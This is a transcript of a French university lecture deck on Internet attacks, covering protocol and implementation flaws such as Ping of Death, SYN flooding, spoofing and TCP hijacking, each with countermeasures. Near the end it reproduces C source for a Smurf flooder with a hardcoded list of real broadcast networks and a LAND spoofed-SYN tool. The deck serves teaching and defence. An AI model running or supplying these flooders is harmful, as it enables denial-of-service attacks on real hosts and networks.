Top Banner
Attaques Internet Ahmed Serhrouchni ENST’Paris CNRS
50

Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Apr 04, 2015

Download

Documents

Émilien Dupin
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Attaques Internet

Ahmed Serhrouchni

ENST’Paris

CNRS

Page 2: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

2

Plan

• Introduction

– Choix protocolaires

– Implications

– Typologie

• Les attaques sur les choix d’implantation

• Les attaques sur le design des protocoles

• Les attaques sur les détournements et usurpations

• Les attaques sur les bugs des logiciels

Page 3: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

Introduction.

Page 4: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

4

Choix protocolaires.

• Simple

• Léger

• Pas ou peu de contrôle

• Optimisation et confiance

Page 5: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

5

Implications.

• Les attaques sur les protocoles de communications

– exploiter les failles des protocoles IP, ICMP, TCP, UDP

• Les attaques sue les applications

– Attaquer les applications SMTP, DNS, SNMP, X-Window, NFS, HTTP, FTP

• Les attaques sur l’information

– L’écoute de données communiquées sur le réseau

– La modification des données communiquées sur le réseau

• Les attaques sur les systèmes

– Le vol de mot de passe

– L’accès aux fichiers et répertoires sans autorisation

Page 6: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

6

Typologie. (1/2)

• Quelques classifications :

– les effets : DoS (Denial of Service), intrusions, corruptions,

– les protocoles : icmp, ip, tcp, dns, …

– les systèmes d ’exploitation

Page 7: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

7

Typologie. (2/2)

• Classification selon:– Choix d’implémentation : buffer overflow, Ping of

death, land, TCP syn, Teardrop …– Conception des protocoles : Smurf:, email (bombing,

spamming), UDP-bombing, ftp bounce, prédiction des numéros de séquence de TCP, TCP connection killing …

– Usurpation ou modification: sniffing, ARP spoofing, IP spoofing, TCP hijacking, email spoofing, dns cache poisonning, web spoofing …

– Bugs :– Volontaires (virus, cheval de troie …)– Non volontaires (netscape server …)

Page 8: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

8

Attaques - Les choix d ’implémentations Ping of Death

• Description

• Ping est basé sur icmp echo/reply

• Taille maximum d ’un paquet IP 65536 octets

• ICMP est encapsulé par IP

• L ’attaque consiste à générer des paquets ICMP de taille 65510 (8 octets pour le header icmp et 20 octets pour le header IP)

• Fragmentaton à la source, le réassemblage provoque le crash du buffer de l ’émetteur

Page 9: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

9

Attaques - Les choix d ’implémentations Ping of Death

• Effet :

• crash ou reboot de la machine

• Parade: software (patches)

Page 10: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

10

Attaques - Les choix d ’implémentationsTeardrop

• Les tailles de MTU différentes impliques la fragmentation des paquets

• Champ: identification, flags et fragment offset

• Attaque par altération du fragment offset

• Effet:

– crah de la machine

• Parade :

– patche

Page 11: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

11

Attaques - Les choix d ’implémentationsLand

• Forge des segments TCP syn avec l ’adresse source identique à l ’adresse de la machine victime

• Effet :

– crash de la machine

• Parade:

– software ou filtrage

Page 12: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

12

Attaques - Les choix d ’implémentations TCP SYN Flooding

• L ’établissement d ’une connexion s ’effectue par un three-way handshake

SYN x

SYNy, ACKx+1

ACK y+1

LISTEN

SYN_RECVD

CONNECTED

Page 13: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

13

Attaques - Les choix d ’implémentations TCP SYN Flooding

• Allocation des structures: inpcb, tcpcb

• Attente dans l ’état SYN_RECVD (75s)

• Nombre limité de connexions dans cet état

• Effet:

– perte de connectivité

• Parade :

– réduction du timer,

– augmentation du nbr. de connexions semi-ouvertes,

– désactivations des ports inutiles,

– filtrage, et proxy

Page 14: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

14

Attaques - Les choix d ’implémentations Buffer Overflow

• Attaques sur les OS multitâches (unix, WNT)

• Pour obtenir des droits d ’accès privilégiés

• Processus en exécution avec les droits suid

• Processus en mémoire: zones (code ou texte, données, pile)

• La pile est alloué de façon dynamique:– variables locales et pointeur sur l ’adresse retour après exécution

• Appel à une fonction qui fait déborder la pile• Adresse retour réécrite par ce procédé

Page 15: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

15

Attaques - Les choix d ’implémentations Buffer Overflow

• Effet :

• crash ou obtention d ’un accès privilégié

• Parades:

– vérification du remplissage des tampons,

– modifications des programmes et des compilateurs (remplacement des fonctions vulnérables: copie et concaténation)

– modification du noyau pour marquer la pile non exécutable

Page 16: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

16

Attaques – Le design des protocoles

• Saturation des ressources systèmes : Email-bombing/spamming, Smurf

• Saturation des ressources réseau : Smurf, UDP-bombing,

Page 17: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

17

Attaques - Le design des protocolesEmail Bombing/Spamming

• Envoi d ’un message répété à une même adresse

• Spamming variante du bombing : le message est envoyé à des centaines ou milliers d ’adresses

• Falsification de l ’adresse d ’origine

• Effets :

– congestion du réseau

– crash du serveur de messagerie

– indisponibilité des ressources physique

Page 18: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

18

Attaques - Le design des protocolesEmail Bombing/Spamming

• Effets (suite) :

– indisponibilité du serveur, des ressources physique, et de l ’entrée syslog

• Parades :

– Supervision,

– filtrage,

– proxy

Page 19: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

19

Attaques - Le design des protocoles Smurf

• Envoi de ICMP echo vers une adresse broadcast dont l ’adresse source est celle de la victime

• Effet :

– congestion du réseau intermédiaire et de la victime

• Parades :

– filtrage (au niveau des trois réseaux),

– OS: ne pas répondre pour des adresses broadcast

Page 20: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

20

Attaques - Le design des protocoles UDP bombing

• Faire conserver deux ports qui générent du trafic (ex: chargen port 19, echo port 7)

• Mettre en relation le port 19 de la première victime avec le port 7 de la deuxième victime

• Effets :

– si les deux ports sont sur la même machine les performances de celle-ci se dégradent

– si les deux ports sont sur des machines différentes ceci provoque la congestion du réseau

Page 21: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

21

Attaques - Le design des protocoles UDP bombing

• Parades :

– filtrage de tous les services sur UDP à l ’exception du port 53 (dns)

– désactiver tous les ports udp inutiles

Page 22: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

22

Attaques - Le design des protocoles FTP bounce

• Deux ports tcp l ’un pour les commandes et l ’autre pour les données

• La commande PORT n1,n2,n3,n4,n5,n6 de ftp

• Détournement des données en changeant les paramètres ni

• Utilisé pour contourner un firewall

• Effets :

– intrusion dans un réseau

– dtournement du fltrage

Page 23: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

23

Attaques - Le design des protocoles FTP bounce

• Parades :

– Bien étudier l ’usage des serveurs ftp

– Architecture : isoler le serveur ftp

– Software: contrôler l ’usage de la commande PORT ( package wu-ftpd)

– Proxy : élimine les cdes ports ayant comme origine un service interne connu

– Authentification forte

Page 24: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

24

Attaques - Le design des protocoles Prédiction des numéros de séquence de TCP

• Prédire le numéro de séquence initial• Etablissement d ’une connexion et mesure du

RTT pour prédire l ’ISN• Substitution d ’une adresse reconnue• Effet :

– Etablissement d ’une connexion non autorisée• Parade :

– Implémentation (un espace de numéro de séquence séparé pour chaque connexion)

– Authentification (IPsec)

Page 25: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

25

Attaques - Le design des protocoles TCP connection killing

• Envoi d ’un segment TCP avec le bit RST : possible uniquement si le numéro de séquence est connu

• Effet :

– Perte de connectivité

• Parade :

– Autentification (Ipsec)

Page 26: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

26

Attaques - Les détournements et interceptions

• Ecoute du trafic (sniffing ou eavesdrpping)

• Se faire passer pour interlocuteur légitime aux niveaux:

– liaison des données (ARP spoofing)

– réseau (IP spoofing, TCP hijacking)

– applicatif (email spoofing, dns spoofing, web spoofing)

Page 27: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

27

Attaques - Les détournements et interceptions Sniffing ou eavesdropping

• Ecoute indiscrète des données sur un réseau• Sur le chemin des communicants• Attaque passive, les informations recueillis

peuvent servir pour une attaque active• Effet :

– perte de confidentialité et donc d ’information sensible (mot de passe)

• Parades :– Chiffrement (Ipsec)– Architecture de réseau

Page 28: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

28

Attaques - Les détournements et interceptions ARP spoofing

• Répondre à une trame ARP who is? Par une trame ARP reply avec une adresse MAC qui ne correspond pas à l ’adresse IP

• Possibilité de prendre en compte un ARP reply sans qu’i y ait eu auparavant de ARP who is?

• ARP est sans état,l ’attaquant peu anticipé sur les requêtes

• Effets :– Perte de connectivité réseau– redirection du trafic

Page 29: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

29

Attaques - Les détournements et interceptionsICMP redirect et destination unreable

• Utilisation du message ICMP-redirect

– Un pirate envoie à une machine un ICMP-redirect lui

indiquant un autre chemin à suivre

• Utilisation du message ICMP-unreachable destination

– Un pirate peut envoyer ce message vers une machine

– La machine ne peut plus joindre ce réseau

Page 30: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

30

Attaques - Les détournements et interceptionsICMP redirect et destination unreable

• Effets :

– perte de connectivité

– déni de service

• Parades :

– filtrage

– authentification (Ipsec)

Page 31: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

31

Attaques - Les détournements et interceptions IP spoofing

• IP spoofing correspond à l ’usurpation d ’adresse IP se S par A vers D

• Détournement du trafic si A n ’est pas sur le même chemin entre S et D

• Nécessite de prédire le numéro de séquence

• Possibilité d ’utiliser :

– le routage par la source

– ICMP redirect

– protocole de routage RIP

Page 32: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

32

Attaques - Les détournements et interceptions IP spoofing

Page 33: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

33

Attaques - Les détournements et interceptions IP spoofing

• Effet :

– prendre les privilèges de S

• Parades :

– Configuration pour ICMP redirect et RIP

– Filtrage (source routing, adresse IP)

– Authentification (Ipsec)

Page 34: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

34

Attaques - Les détournements et interceptions TCP hijacking

• Connexion TCP entre S et D• A se substitue à S• Utilisation de plusieurs attaques :

– IP spoofing,– ICMP redirect,– TCP connection killing

• Effets :– détournement d ’une communication autorisée– Contourne les protections d ’authentificaion

forte de l ’utilisateur SKEY et Kerberos

Page 35: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

35

Attaques - Les détournements et interceptions TCP hijacking

• Parade :

– Authentification (Ipsec)

Page 36: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

36

Attaques - Les détournements et interceptions Email spoofing

• Absence d ’authentification

– Aucun mécanisme d ’authentification auprès des serveurs

mails, de plus vous ne savez pas qui réellement vous écrit

• Pas de garantie d ’intégrité de message

– Toute personne interceptant le message peut en modifier le

contenu

• Effets :– usurpation d ’adresse (demande de

changement d ’information sensible)– cacher son identité pour une attaque

Page 37: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

37

Attaques - Les détournements et interceptions Email spoofing

• Parades :– Architecture (utiliser un firewall comme frontal)– Empêcher toute connexion directe sur le port

SMTP par configuration du mail delivery deamon– Authentification (par signature : PGP, SSL,

S/MIME)

Page 38: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

38

Attaques - Les détournements et interceptions DNS spoofing

• Altérer directement les tables d ’un serveur de noms

• Communiquer de mauvaises cache poisoning

• Effets :– détourner le trafic vers l ’attaquant (applications

sensibles : messagerie et web)– Connexions illicites par applets

• Parades :– DNSsec une signature associée à chaque entrée

– Pour les applets java vérifier les diff. adresses

Page 39: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

39

Attaques - Les détournements et interceptions Web spoofing

• Attaque de type man in middle : le serveur de l ’attaquant détourne les requêtes HTTP de la victime

• La victime navigue dans un faux web• Initialisation de l ’attaque:

– l ’attaquant amène la victime à visiter son site (par email ou par sa figuration dans une indexation d ’un moteur de recherche)

– la victime télécharche un script java• Ce script java détourne toutes les requêtes

de la victime vers l ’attaquant

Page 40: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

40

Attaques - Les détournements et interceptions Web spoofing

• Effets :

– surveillance de l ’activité de la victime, et vol de données

– altération des données,

• Parades :

– désactivation de javascript

– proxy : repère et refuse des echanges HTTP avec réécriture des URL

Page 41: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

41

Exemples: Smurf (1/5)

#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <sys/socket.h>#include <sys/types.h>#include <netinet/in.h>#include <netinet/ip.h>#include <netinet/ip_icmp.h>#include <netdb.h>void main (int argc, char *argv[]) { struct sockaddr_in sin; struct hostent *he; int i, sock, delay, num, pktsize, bcast = 1, cycle = 10;

Page 42: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

42

Exemples: Smurf (2/5)

char *bcastaddr[] = { "199.171.190.0", "165.154.1.255", "205.139.4.255", "198.3.101.255", "204.71.177.0", "192.41.177.255", "206.13.28.255", "144.228.20.255", "206.137.184.255", "198.32.186.255", "130.63.236.255", "208.202.14.255", "208.131.162.255", "199.171.6.255", "207.124.104.255", "205.180.58.255", "198.3.98.0", "131.104.96.255", "143.43.32.0", "131.215.48.0", "204.117.214.0", "143.43.32.255", "130.235.20.255", "206.79.254.255", "199.222.42.255", "204.71.242.255", "204.162.80.0", "128.194.103.255", "207.221.53.255", "207.126.113.255", "198.53.145.255", "209.25.21.255", "194.51.83.255", "207.51.48.255", "129.130.12.255", "192.231.221.255", "168.17.197.255", "198.242.55.255", "130.160.224.255", "128.83.40.255", "131.215.48.255", "169.130.10.255", "207.20.7.255", "163.179.1.0", "129.16.1.0", "128.122.27.255", "132.236.230.255", "198.32.146.255", "192.41.177.0", NULL };

Page 43: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

43

Exemples: Smurf (3/5)

if (argc < 6) usage(argv[0]); if ((he = gethostbyname(argv[1])) == NULL) { perror("resolution source host"); exit(-1); } memcpy((caddr_t)&sin.sin_addr, he->h_addr, he->h_length); sin.sin_family = AF_INET; sin.sin_port = htons(0); num = atoi(argv[3]); delay = atoi(argv[4]); pktsize = atoi(argv[5]); if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("getting socket"); exit(-1); } setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&bcast, sizeof(bcast)); printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);

Page 44: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

44

Exemples: Smurf (4/5)

for (i = 0; i < num || !num; i++) { if (!(i % 25)) { printf("[1;34m."); fflush(stdout); } if (atoi(argv[2]) == 0) { smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize); cycle++; if (bcastaddr[cycle] == NULL) cycle = 0; } else smurf(sock, sin, inet_addr(argv[2]), pktsize); usleep(delay); }}void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize){ struct iphdr *ip; struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));

Page 45: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

45

Exemples: Smurf (5/5)

memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);

ip->ihl = 5; ip->version = 4; ip->ttl = 255; ip->tos = 0; ip->frag_off = 0; ip->protocol = IPPROTO_ICMP; ip->saddr = sin.sin_addr.s_addr; ip->daddr = dest; ip->check = in_chksum((u_short *)ip, sizeof(struct iphdr)); icmp->type = 8; icmp->code = 0; icmp->checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) +

psize); sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) +

psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); }

Page 46: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

46

Exemples: LAND (1/4)

int main(int argc,char * * argv){ struct sockaddr_in sin; struct hostent * hoste; int sock; char buffer[40]; struct iphdr * ipheader=(struct iphdr *) buffer; struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct

iphdr)); struct pseudohdr pseudoheader;

if(argc<3) { fprintf(stderr,"usage: %s IP port\n",argv[0]); return(-1); }

Page 47: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

47

Exemples: LAND (2/4)

bzero(&sin,sizeof(struct sockaddr_in)); sin.sin_family=AF_INET;

if((hoste=gethostbyname(argv[1]))!=NULL) bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length); else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1) { fprintf(stderr,"unknown host %s\n",argv[1]); return(-1); }

if((sin.sin_port=htons(atoi(argv[2])))==0) { fprintf(stderr,"unknown port %s\n",argv[2]); return(-1); }

Page 48: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

48

Exemples: LAND (3/4)

if((sock=socket(AF_INET,SOCK_RAW,255))==-1)

{

fprintf(stderr,"couldn't allocate raw socket\n");

return(-1);

}

bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));

ipheader->version=4;

ipheader->ihl=sizeof(struct iphdr)/4;

ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));

ipheader->id=htons(0xF1C);

ipheader->ttl=255;

ipheader->protocol=IP_TCP;

ipheader->saddr=sin.sin_addr.s_addr;

ipheader->daddr=sin.sin_addr.s_addr;

Page 49: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

49

Exemples: LAND (4/4)

tcpheader->th_sport=sin.sin_port;

tcpheader->th_dport=sin.sin_port;

tcpheader->th_seq=htonl(0xF1C);

tcpheader->th_flags=TH_SYN;

tcpheader->th_off=sizeof(struct tcphdr)/4;

tcpheader->th_win=htons(2048);

bzero(&pseudoheader,12+sizeof(struct tcphdr));

pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;

pseudoheader.protocol=6;

pseudoheader.length=htons(sizeof(struct tcphdr));

bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));

tcpheader->th_sum=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));

sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in));

close(sock);

return(0);

}

Page 50: Attaques Internet Ahmed Serhrouchni ENSTParis CNRS.

50

Conclusion

Questions et débat